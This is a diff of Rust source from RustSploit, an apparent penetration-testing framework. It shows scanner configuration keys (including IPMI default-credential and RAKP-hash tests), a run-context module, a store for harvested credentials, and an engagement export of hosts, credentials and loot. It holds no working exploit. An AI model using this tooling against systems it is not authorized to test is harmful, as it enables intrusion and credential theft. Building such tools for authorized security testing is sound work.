pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
|
||||
|
||||
/// Module-level configuration for API-driven execution
|
||||
/// This is set by the API before running a module and read by modules
|
||||
/// to get pre-configured values instead of prompting the user
|
||||
///
|
||||
/// # Unified Prompt Keys
|
||||
///
|
||||
/// These are the standardized `custom_prompts` keys used across all
|
||||
/// scanner modules (via `cfg_prompt_*` in utils.rs). Supply them in the
|
||||
/// JSON `"prompts"` object of an API `/api/run` request.
|
||||
///
|
||||
/// ## Common Keys (used by many modules)
|
||||
/// | Key | Type | Description |
|
||||
/// |-------------------|--------|------------------------------------------------|
|
||||
/// | `port` | u16 | Target service port |
|
||||
/// | `timeout` | int | Connection/request timeout (seconds or ms) |
|
||||
/// | `verbose` | y/n | Verbose output |
|
||||
/// | `save_results` | y/n | Save results to file |
|
||||
/// | `output_file` | string | Output filename for results |
|
||||
/// | `concurrency` | int | Number of concurrent threads/tasks |
|
||||
/// | `threads` | int | Alias for concurrency (some modules) |
|
||||
/// | `wordlist` | path | Path to wordlist file |
|
||||
/// | `target_file` | path | Path to file containing targets |
|
||||
/// | `additional_targets` | string | Comma-separated additional targets |
|
||||
/// | `mode` | string | Operation mode selector (1, 2, 3, etc.) |
|
||||
///
|
||||
/// ## Scanner-Specific Keys
|
||||
///
|
||||
/// ### Port Scanner (`scanners/port_scanner`)
|
||||
/// `port_range`, `scan_method`, `show_only_open`, `ttl`, `source_port`, `data_length`
|
||||
///
|
||||
/// ### SSH Scanner (`scanners/ssh_scanner`)
|
||||
/// `load_from_file`, `target_file`
|
||||
///
|
||||
/// ### DNS Recursion (`scanners/dns_recursion`)
|
||||
/// `domain`, `record_type`
|
||||
///
|
||||
/// ### SMTP User Enum (`scanners/smtp_user_enum`)
|
||||
/// `timeout_ms`, `save_valid`, `valid_output`, `save_unknown`, `unknown_output`
|
||||
///
|
||||
/// ### Ping Sweep (`scanners/ping_sweep`)
|
||||
/// `add_manual_targets`, `manual_target`, `load_from_file`, `save_up_hosts`,
|
||||
/// `up_hosts_file`, `save_down_hosts`, `down_hosts_file`, `use_icmp`, `use_tcp`,
|
||||
/// `tcp_ports`, `use_syn`, `syn_ports`, `use_ack`, `ack_ports`
|
||||
///
|
||||
/// ### HTTP Title Scanner (`scanners/http_title_scanner`)
|
||||
/// `check_http`, `check_https`, `use_ports`, `ports`
|
||||
///
|
||||
/// ### HTTP Method Scanner (`scanners/http_method_scanner`)
|
||||
/// `scheme`, `use_ports`, `ports`
|
||||
///
|
||||
/// ### Dir Brute (`scanners/dir_brute`)
|
||||
/// `scan_mode`, `delay_ms`, `random_agent`, `custom_cookies`, `cookies`,
|
||||
/// `use_https`, `base_path`, `template_name`, `template_file`, `sort_by`
|
||||
///
|
||||
/// ### Sequential Fuzzer (`scanners/sequential_fuzzer`)
|
||||
/// `min_length`, `max_length`, `charset`, `custom_charset`, `encoding`,
|
||||
/// `add_cookies`, `cookies`, `append_slash`, `template_name`, `template_file`, `target_url`
|
||||
///
|
||||
/// ### API Endpoint Scanner (`scanners/api_endpoint_scanner`)
|
||||
/// `output_dir`, `use_spoofing`, `use_generic_payload`, `enable_delete`,
|
||||
/// `enable_extended_methods`, `modules`, `enum_mode`, `id_start`, `id_end`,
|
||||
/// `id_file`, `endpoint_source`, `base_path`, `endpoint_file`
|
||||
///
|
||||
/// ### IPMI Enum/Exploit (`scanners/ipmi_enum_exploit`)
|
||||
/// `cidr`, `target`, `test_cipher_zero`, `test_anonymous`, `test_default_creds`,
|
||||
/// `test_rakp_hash`, `continue_large_scan`, `destroy_confirm`
|
||||
///
|
||||
/// ### SSDP MSearch (`scanners/ssdp_msearch`)
|
||||
/// `retries`, `search_target`
|
||||
///
|
||||
/// ### Sample Scanner (`scanners/sample_scanner`)
|
||||
/// `check_http`, `check_https`
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ModuleConfig {
|
||||
pub custom_prompts: HashMap<String, String>,
|
||||
pub api_mode: bool,
|
||||
}
|
||||
|
||||
impl ModuleConfig {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for ModuleConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
custom_prompts: HashMap::new(),
|
||||
api_mode: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Global module config instance (API-provided configuration)
|
||||
pub static MODULE_CONFIG: Lazy<Arc<RwLock<ModuleConfig>>> = Lazy::new(|| {
|
||||
Arc::new(RwLock::new(ModuleConfig::new()))
|
||||
});
|
||||
|
||||
/// Get a clone of the current module config.
|
||||
/// Checks the task-local RunContext first (for concurrent API runs),
|
||||
/// then falls back to the global MODULE_CONFIG.
|
||||
pub fn get_module_config() -> ModuleConfig {
|
||||
// Try task-local context first (set by API handler per-request)
|
||||
let task_local = crate::context::RUN_CONTEXT.try_with(|ctx| ctx.config.clone());
|
||||
if let Ok(config) = task_local {
|
||||
return config;
|
||||
}
|
||||
// Fallback to global (for CLI/shell mode)
|
||||
MODULE_CONFIG.read()
|
||||
.map(|g| g.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Get the per-request target from the task-local RunContext, if set.
|
||||
/// Returns `None` in shell/CLI mode or when no context is active.
|
||||
pub fn get_run_target() -> Option<String> {
|
||||
crate::context::RUN_CONTEXT
|
||||
.try_with(|ctx| ctx.target.clone())
|
||||
.ok()
|
||||
.flatten()
|
||||
}
|
||||
|
||||
pub fn results_dir() -> std::path::PathBuf {
|
||||
let dir = home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("results");
|
||||
if !dir.exists() {
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir) {
|
||||
eprintln!("[!] Failed to create results directory {}: {}", dir.display(), e);
|
||||
}
|
||||
}
|
||||
dir
|
||||
}
|
||||
|
||||
+149
@@ -0,0 +1,149 @@
|
||||
// src/context.rs
|
||||
//
|
||||
// Per-run execution context using tokio task-locals.
|
||||
// Provides per-task ModuleConfig, target, and output accumulator
|
||||
// for concurrent API runs.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
use crate::config::ModuleConfig;
|
||||
use crate::output::OutputAccumulator;
|
||||
|
||||
const MAX_PROMPT_CACHE_ENTRIES: usize = 256;
|
||||
|
||||
/// Shared prompt cache for mass scan / CIDR / file target modes.
|
||||
/// The first concurrent task to need a prompt key acquires the lock,
|
||||
/// prompts the user interactively, and caches the result. All subsequent tasks
|
||||
/// find the cached answer and skip the prompt entirely.
|
||||
pub type PromptCache = Arc<tokio::sync::Mutex<HashMap<String, String>>>;
|
||||
|
||||
/// Create a new empty prompt cache.
|
||||
pub fn new_prompt_cache() -> PromptCache {
|
||||
Arc::new(tokio::sync::Mutex::new(HashMap::new()))
|
||||
}
|
||||
|
||||
/// Try to insert into a prompt cache, respecting the size cap.
|
||||
/// Returns false if the cache is full (entry not inserted).
|
||||
pub fn cache_insert(map: &mut HashMap<String, String>, key: String, value: String) -> bool {
|
||||
if map.len() >= MAX_PROMPT_CACHE_ENTRIES && !map.contains_key(&key) {
|
||||
return false;
|
||||
}
|
||||
map.insert(key, value);
|
||||
true
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GLOBAL BATCH MODE — fallback for when task-locals don't propagate
|
||||
// ============================================================
|
||||
|
||||
/// Refcount of active batch guards. Batch mode is active when > 0.
|
||||
static BATCH_REFCOUNT: AtomicUsize = AtomicUsize::new(0);
|
||||
static BATCH_CACHE: std::sync::LazyLock<PromptCache> = std::sync::LazyLock::new(new_prompt_cache);
|
||||
|
||||
static BATCH_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
|
||||
static CACHE_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
|
||||
|
||||
/// RAII guard that decrements the batch refcount on drop, even on early
|
||||
/// `?` returns or panics. Use `enter_batch_mode()` to obtain one.
|
||||
pub struct BatchGuard(());
|
||||
|
||||
impl Drop for BatchGuard {
|
||||
fn drop(&mut self) {
|
||||
BATCH_REFCOUNT.fetch_sub(1, Ordering::Release);
|
||||
}
|
||||
}
|
||||
|
||||
/// Activate global batch mode. Returns a guard that automatically
|
||||
/// deactivates it when dropped (including on `?` early returns).
|
||||
/// Nested/concurrent calls are safe — batch stays active until all guards drop.
|
||||
/// The cache is cleared lazily on first access in each new batch generation,
|
||||
/// so this function is lock-free and safe to call from async code.
|
||||
pub fn enter_batch_mode() -> BatchGuard {
|
||||
let prev = BATCH_REFCOUNT.fetch_add(1, Ordering::AcqRel);
|
||||
if prev == 0 {
|
||||
BATCH_GEN.fetch_add(1, Ordering::Release);
|
||||
}
|
||||
BatchGuard(())
|
||||
}
|
||||
|
||||
pub fn is_batch_active() -> bool {
|
||||
BATCH_REFCOUNT.load(Ordering::Acquire) > 0
|
||||
}
|
||||
|
||||
pub fn batch_cache() -> &'static PromptCache {
|
||||
&BATCH_CACHE
|
||||
}
|
||||
|
||||
pub fn batch_generation() -> u64 {
|
||||
BATCH_GEN.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
pub(crate) fn cache_generation() -> u64 {
|
||||
CACHE_GEN.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
pub(crate) fn set_cache_generation(generation: u64) {
|
||||
CACHE_GEN.store(generation, Ordering::Release);
|
||||
}
|
||||
|
||||
tokio::task_local! {
|
||||
/// Task-local run context. Set by the API/CLI dispatcher before invoking a module.
|
||||
/// Modules don't need to reference this directly — the `cfg_prompt_*` functions
|
||||
/// check it automatically.
|
||||
pub static RUN_CONTEXT: Arc<RunContext>;
|
||||
}
|
||||
|
||||
/// Per-run context carrying module config, target, and structured output accumulator.
|
||||
pub struct RunContext {
|
||||
/// Module configuration for this run (prompts, api_mode, etc.)
|
||||
pub config: ModuleConfig,
|
||||
/// Per-request target override (API mode). Shell mode leaves this None.
|
||||
pub target: Option<String>,
|
||||
/// Accumulated structured findings from this module run.
|
||||
pub output: OutputAccumulator,
|
||||
/// Shared prompt cache for concurrent dispatch modes.
|
||||
/// When set, `cfg_prompt_*` functions check this cache before prompting stdin.
|
||||
pub prompt_cache: Option<PromptCache>,
|
||||
}
|
||||
|
||||
impl RunContext {
|
||||
/// Create a new run context with config and target.
|
||||
pub fn with_target(config: ModuleConfig, target: String) -> Self {
|
||||
Self {
|
||||
config,
|
||||
target: Some(target),
|
||||
output: OutputAccumulator::new(),
|
||||
prompt_cache: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Create a run context with a shared prompt cache (for mass scan / CIDR modes).
|
||||
/// All concurrent tasks share the same cache so prompts are answered only once.
|
||||
pub fn with_prompt_cache(config: ModuleConfig, cache: PromptCache, target: String) -> Self {
|
||||
Self {
|
||||
config,
|
||||
target: Some(target),
|
||||
output: OutputAccumulator::new(),
|
||||
prompt_cache: Some(cache),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// HELPER: Run a future within a RunContext scope
|
||||
// ============================================================
|
||||
|
||||
/// Execute an async closure inside a task-local `RUN_CONTEXT` with a target.
|
||||
/// Returns the closure's result plus the `RunContext`.
|
||||
pub async fn run_with_context_target<F, Fut, T>(config: crate::config::ModuleConfig, target: String, f: F) -> (T, std::sync::Arc<RunContext>)
|
||||
where
|
||||
F: FnOnce() -> Fut,
|
||||
Fut: std::future::Future<Output = T>,
|
||||
{
|
||||
let ctx = std::sync::Arc::new(RunContext::with_target(config, target));
|
||||
let ctx_clone = ctx.clone();
|
||||
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
|
||||
(result, ctx)
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
use std::path::PathBuf;
|
||||
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Type of credential stored.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum CredType {
|
||||
Password,
|
||||
Hash,
|
||||
Key,
|
||||
Token,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for CredType {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
CredType::Password => write!(f, "password"),
|
||||
CredType::Hash => write!(f, "hash"),
|
||||
CredType::Key => write!(f, "key"),
|
||||
CredType::Token => write!(f, "token"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A single credential entry.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct CredEntry {
|
||||
pub id: String,
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub service: String,
|
||||
pub username: String,
|
||||
pub secret: String,
|
||||
pub cred_type: CredType,
|
||||
pub source_module: String,
|
||||
pub timestamp: String,
|
||||
pub valid: bool,
|
||||
}
|
||||
|
||||
/// Credential store backed by a JSON file.
|
||||
pub struct CredStore {
|
||||
entries: RwLock<Vec<CredEntry>>,
|
||||
file_path: PathBuf,
|
||||
}
|
||||
|
||||
impl CredStore {
|
||||
fn new() -> Self {
|
||||
let file_path = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("creds.json");
|
||||
|
||||
// Synchronous load at init time (called once from Lazy)
|
||||
let entries = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) {
|
||||
eprintln!("[!] Failed to backup corrupted creds.json: {}", e);
|
||||
}
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read creds.json: {}", e);
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
entries: RwLock::new(entries),
|
||||
file_path,
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum length for credential fields to prevent memory abuse.
|
||||
const MAX_FIELD_LEN: usize = 4096;
|
||||
|
||||
/// Add a credential. Returns `Some(id)` on success, `None` on validation failure.
|
||||
pub async fn add(
|
||||
&self,
|
||||
host: &str,
|
||||
port: u16,
|
||||
service: &str,
|
||||
username: &str,
|
||||
secret: &str,
|
||||
cred_type: CredType,
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
// Input validation
|
||||
if host.is_empty() || host.len() > Self::MAX_FIELD_LEN {
|
||||
return None;
|
||||
}
|
||||
if secret.len() > Self::MAX_FIELD_LEN || username.len() > Self::MAX_FIELD_LEN {
|
||||
return None;
|
||||
}
|
||||
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
|
||||
let entry = CredEntry {
|
||||
id: id.clone(),
|
||||
host: host.to_string(),
|
||||
port,
|
||||
service: service.to_string(),
|
||||
username: username.to_string(),
|
||||
secret: secret.to_string(),
|
||||
cred_type,
|
||||
source_module: source_module.to_string(),
|
||||
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
valid: true,
|
||||
};
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.push(entry);
|
||||
entries.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
Some(id)
|
||||
}
|
||||
|
||||
/// List all credentials.
|
||||
pub async fn list(&self) -> Vec<CredEntry> {
|
||||
self.entries.read().await.clone()
|
||||
}
|
||||
|
||||
/// Search credentials by host.
|
||||
pub async fn search(&self, query: &str) -> Vec<CredEntry> {
|
||||
let q = query.to_lowercase();
|
||||
self.list().await.into_iter().filter(|e| {
|
||||
e.host.to_lowercase().contains(&q)
|
||||
|| e.service.to_lowercase().contains(&q)
|
||||
|| e.username.to_lowercase().contains(&q)
|
||||
}).collect()
|
||||
}
|
||||
|
||||
/// Delete a credential by ID.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
Some(entries.clone())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
};
|
||||
if let Some(data) = snapshot {
|
||||
self.save_locked(&data).await;
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Clear all credentials.
|
||||
pub async fn clear(&self) {
|
||||
{
|
||||
self.entries.write().await.clear();
|
||||
}
|
||||
self.save_locked(&[]).await;
|
||||
}
|
||||
|
||||
async fn save_locked(&self, entries: &[CredEntry]) {
|
||||
if let Some(parent) = self.file_path.parent() {
|
||||
if let Err(e) = tokio::fs::create_dir_all(parent).await {
|
||||
eprintln!("[!] Failed to create creds directory: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
let tmp = self.file_path.with_extension("json.tmp");
|
||||
let json = match serde_json::to_string_pretty(entries) {
|
||||
Ok(j) => j,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to serialize credentials: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
{
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&tmp)
|
||||
.await
|
||||
{
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write temp creds file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
let mut file = file;
|
||||
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
|
||||
eprintln!("[!] Failed to write temp creds file: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
|
||||
eprintln!("[!] Failed to rename creds file: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// Display all credentials in a formatted table.
|
||||
pub async fn display(&self) {
|
||||
let entries = self.list().await;
|
||||
if entries.is_empty() {
|
||||
println!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
|
||||
println!();
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
"ID".bold(), "Host".bold(), "Port".bold(), "Service".bold(),
|
||||
"Username".bold(), "Secret".bold(), "Type".bold(), "Valid".bold());
|
||||
println!(" {}", "-".repeat(100).dimmed());
|
||||
for e in &entries {
|
||||
let valid_str = if e.valid { "yes".green() } else { "no".red() };
|
||||
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
|
||||
e.id, e.host, e.port, e.service, e.username,
|
||||
if e.secret.len() > 18 { format!("{}...", &e.secret[..15]) } else { e.secret.clone() },
|
||||
e.cred_type, valid_str);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Display search results.
|
||||
pub fn display_results(&self, results: &[CredEntry]) {
|
||||
if results.is_empty() {
|
||||
println!("{}", "No matching credentials found.".dimmed());
|
||||
return;
|
||||
}
|
||||
println!();
|
||||
println!("{}", format!("Found {} credential(s):", results.len()).bold());
|
||||
println!();
|
||||
for e in results {
|
||||
println!(" [{}] {}@{}:{} ({}) - {} [{}]",
|
||||
e.id.yellow(), e.username.green(), e.host, e.port,
|
||||
e.service, e.cred_type,
|
||||
if e.valid { "valid".green() } else { "invalid".red() });
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
pub static CRED_STORE: Lazy<CredStore> = Lazy::new(CredStore::new);
|
||||
|
||||
/// Convenience function for modules to store a discovered credential.
|
||||
pub async fn store_credential(
|
||||
host: &str,
|
||||
port: u16,
|
||||
service: &str,
|
||||
username: &str,
|
||||
secret: &str,
|
||||
cred_type: CredType,
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
CRED_STORE.add(host, port, service, username, secret, cred_type, source_module).await
|
||||
}
|
||||
+228
@@ -0,0 +1,228 @@
|
||||
use std::io::Write;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use serde::Serialize;
|
||||
|
||||
/// Write data to a file, rejecting symlinks atomically with O_NOFOLLOW.
|
||||
fn safe_write(path: &str, data: &[u8]) -> Result<()> {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut file = std::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.custom_flags(libc::O_NOFOLLOW)
|
||||
.open(path)
|
||||
.context(format!("Failed to open '{}' (symlinks not allowed)", path))?;
|
||||
file.write_all(data)
|
||||
.context(format!("Failed to write to '{}'", path))?;
|
||||
file.flush()?;
|
||||
Ok(())
|
||||
}
|
||||
#[cfg(not(unix))]
|
||||
{
|
||||
std::fs::write(path, data).context(format!("Failed to write to '{}'", path))?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
/// Full engagement data for export.
|
||||
#[derive(Serialize)]
|
||||
struct EngagementExport {
|
||||
workspace: String,
|
||||
exported_at: String,
|
||||
hosts: Vec<crate::workspace::HostEntry>,
|
||||
services: Vec<crate::workspace::ServiceEntry>,
|
||||
credentials: Vec<crate::cred_store::CredEntry>,
|
||||
loot: Vec<crate::loot::LootEntry>,
|
||||
}
|
||||
|
||||
/// Gather all engagement data atomically.
|
||||
/// Workspace data is snapshotted in a single read to avoid mixing data
|
||||
/// across concurrent workspace switches.
|
||||
async fn gather_data() -> EngagementExport {
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
EngagementExport {
|
||||
workspace: workspace_name,
|
||||
exported_at: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
hosts: workspace_data.hosts,
|
||||
services: workspace_data.services,
|
||||
credentials: crate::cred_store::CRED_STORE.list().await,
|
||||
loot: crate::loot::LOOT_STORE.list().await,
|
||||
}
|
||||
}
|
||||
|
||||
/// Return engagement data as a JSON string.
|
||||
pub async fn export_json_string() -> Result<String> {
|
||||
let data = gather_data().await;
|
||||
serde_json::to_string_pretty(&data).context("Failed to serialize engagement data")
|
||||
}
|
||||
|
||||
/// Export all engagement data to a JSON file.
|
||||
pub async fn export_json(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let json = export_json_string().await?;
|
||||
safe_write(path, json.as_bytes())?;
|
||||
crate::mprintln!("{}", format!("[+] Exported JSON to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Return engagement data as a CSV string.
|
||||
pub async fn export_csv_string() -> Result<String> {
|
||||
let data = gather_data().await;
|
||||
let mut output = String::new();
|
||||
|
||||
output.push_str("# Hosts\n");
|
||||
output.push_str("ip,hostname,os_guess,first_seen,last_seen,notes_count\n");
|
||||
for h in &data.hosts {
|
||||
output.push_str(&format!("{},{},{},{},{},{}\n",
|
||||
csv_escape(&h.ip),
|
||||
csv_escape(h.hostname.as_deref().unwrap_or("")),
|
||||
csv_escape(h.os_guess.as_deref().unwrap_or("")),
|
||||
csv_escape(&h.first_seen),
|
||||
csv_escape(&h.last_seen),
|
||||
h.notes.len()));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
output.push_str("# Services\n");
|
||||
output.push_str("host,port,protocol,service,version\n");
|
||||
for s in &data.services {
|
||||
output.push_str(&format!("{},{},{},{},{}\n",
|
||||
csv_escape(&s.host), s.port, csv_escape(&s.protocol),
|
||||
csv_escape(&s.service_name), csv_escape(s.version.as_deref().unwrap_or(""))));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
output.push_str("# Credentials\n");
|
||||
output.push_str("id,host,port,service,username,secret,type,source,valid\n");
|
||||
for c in &data.credentials {
|
||||
output.push_str(&format!("{},{},{},{},{},{},{},{},{}\n",
|
||||
csv_escape(&c.id), csv_escape(&c.host), c.port,
|
||||
csv_escape(&c.service), csv_escape(&c.username),
|
||||
csv_escape(&c.secret), c.cred_type,
|
||||
csv_escape(&c.source_module), c.valid));
|
||||
}
|
||||
output.push('\n');
|
||||
|
||||
output.push_str("# Loot\n");
|
||||
output.push_str("id,host,type,description,filename,source\n");
|
||||
for l in &data.loot {
|
||||
output.push_str(&format!("{},{},{},{},{},{}\n",
|
||||
csv_escape(&l.id), csv_escape(&l.host), csv_escape(&l.loot_type),
|
||||
csv_escape(&l.description), csv_escape(&l.filename),
|
||||
csv_escape(&l.source_module)));
|
||||
}
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
/// Export engagement data to a CSV file.
|
||||
pub async fn export_csv(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let output = export_csv_string().await?;
|
||||
safe_write(path, output.as_bytes())?;
|
||||
crate::mprintln!("{}", format!("[+] Exported CSV to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Return a human-readable summary report as a string.
|
||||
pub async fn export_summary_string() -> Result<String> {
|
||||
let data = gather_data().await;
|
||||
let mut report = String::new();
|
||||
|
||||
report.push_str("============================================================\n");
|
||||
report.push_str(" RustSploit Engagement Report\n");
|
||||
report.push_str("============================================================\n\n");
|
||||
report.push_str(&format!("Workspace: {}\n", data.workspace));
|
||||
report.push_str(&format!("Generated: {}\n\n", data.exported_at));
|
||||
|
||||
report.push_str("--- Summary ---\n");
|
||||
report.push_str(&format!("Hosts discovered: {}\n", data.hosts.len()));
|
||||
report.push_str(&format!("Services found: {}\n", data.services.len()));
|
||||
report.push_str(&format!("Credentials obtained: {}\n", data.credentials.len()));
|
||||
report.push_str(&format!("Loot collected: {}\n\n", data.loot.len()));
|
||||
|
||||
if !data.hosts.is_empty() {
|
||||
report.push_str("--- Hosts ---\n");
|
||||
for h in &data.hosts {
|
||||
report.push_str(&format!(" {} ({})\n", h.ip, h.hostname.as_deref().unwrap_or("unknown")));
|
||||
if let Some(ref os) = h.os_guess { report.push_str(&format!(" OS: {}\n", os)); }
|
||||
if !h.notes.is_empty() {
|
||||
report.push_str(" Notes:\n");
|
||||
for note in &h.notes { report.push_str(&format!(" - {}\n", note)); }
|
||||
}
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
if !data.services.is_empty() {
|
||||
report.push_str("--- Services ---\n");
|
||||
for s in &data.services {
|
||||
report.push_str(&format!(" {}:{}/{} - {} {}\n", s.host, s.port, s.protocol, s.service_name, s.version.as_deref().unwrap_or("")));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
if !data.credentials.is_empty() {
|
||||
report.push_str("--- Credentials ---\n");
|
||||
for c in &data.credentials {
|
||||
report.push_str(&format!(" {}@{}:{} ({}) - {} [{}]\n", c.username, c.host, c.port, c.service, c.cred_type, if c.valid { "valid" } else { "invalid" }));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
if !data.loot.is_empty() {
|
||||
report.push_str("--- Loot ---\n");
|
||||
for l in &data.loot {
|
||||
report.push_str(&format!(" [{}] {} from {} - {}\n", l.loot_type, l.filename, l.host, l.description));
|
||||
}
|
||||
report.push('\n');
|
||||
}
|
||||
report.push_str("============================================================\n");
|
||||
report.push_str("Generated by RustSploit (https://github.com/thekiaboys/rustsploit)\n");
|
||||
Ok(report)
|
||||
}
|
||||
|
||||
/// Export a human-readable summary report to a file.
|
||||
pub async fn export_summary(path: &str) -> Result<()> {
|
||||
validate_export_path(path)?;
|
||||
let report = export_summary_string().await?;
|
||||
safe_write(path, report.as_bytes())?;
|
||||
crate::mprintln!("{}", format!("[+] Exported summary report to '{}'", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn csv_escape(s: &str) -> String {
|
||||
let mut val = s.to_string();
|
||||
let needs_formula_guard = val.starts_with('=')
|
||||
|| val.starts_with('+')
|
||||
|| val.starts_with('@')
|
||||
|| val.starts_with('-')
|
||||
|| val.starts_with('\t')
|
||||
|| val.starts_with('\r');
|
||||
if needs_formula_guard {
|
||||
val = format!("'{}", val);
|
||||
}
|
||||
if needs_formula_guard || val.contains(',') || val.contains('"') || val.contains('\n') {
|
||||
format!("\"{}\"", val.replace('"', "\"\""))
|
||||
} else {
|
||||
val
|
||||
}
|
||||
}
|
||||
|
||||
pub fn validate_export_path(path: &str) -> Result<()> {
|
||||
if path.is_empty() || path.len() > 255 {
|
||||
return Err(anyhow::anyhow!("Invalid export path length (max 255 chars)"));
|
||||
}
|
||||
if path.contains("..") || path.contains('\0') {
|
||||
return Err(anyhow::anyhow!("Path traversal not allowed in export path"));
|
||||
}
|
||||
if path.starts_with('/') || path.starts_with('\\') || path.contains('/') || path.contains('\\') {
|
||||
return Err(anyhow::anyhow!("Only filenames are allowed for export (no directory separators). Use a relative filename like 'report.json'."));
|
||||
}
|
||||
if path.starts_with('.') {
|
||||
return Err(anyhow::anyhow!("Hidden files not allowed for export"));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Persistent global options that apply across all modules.
|
||||
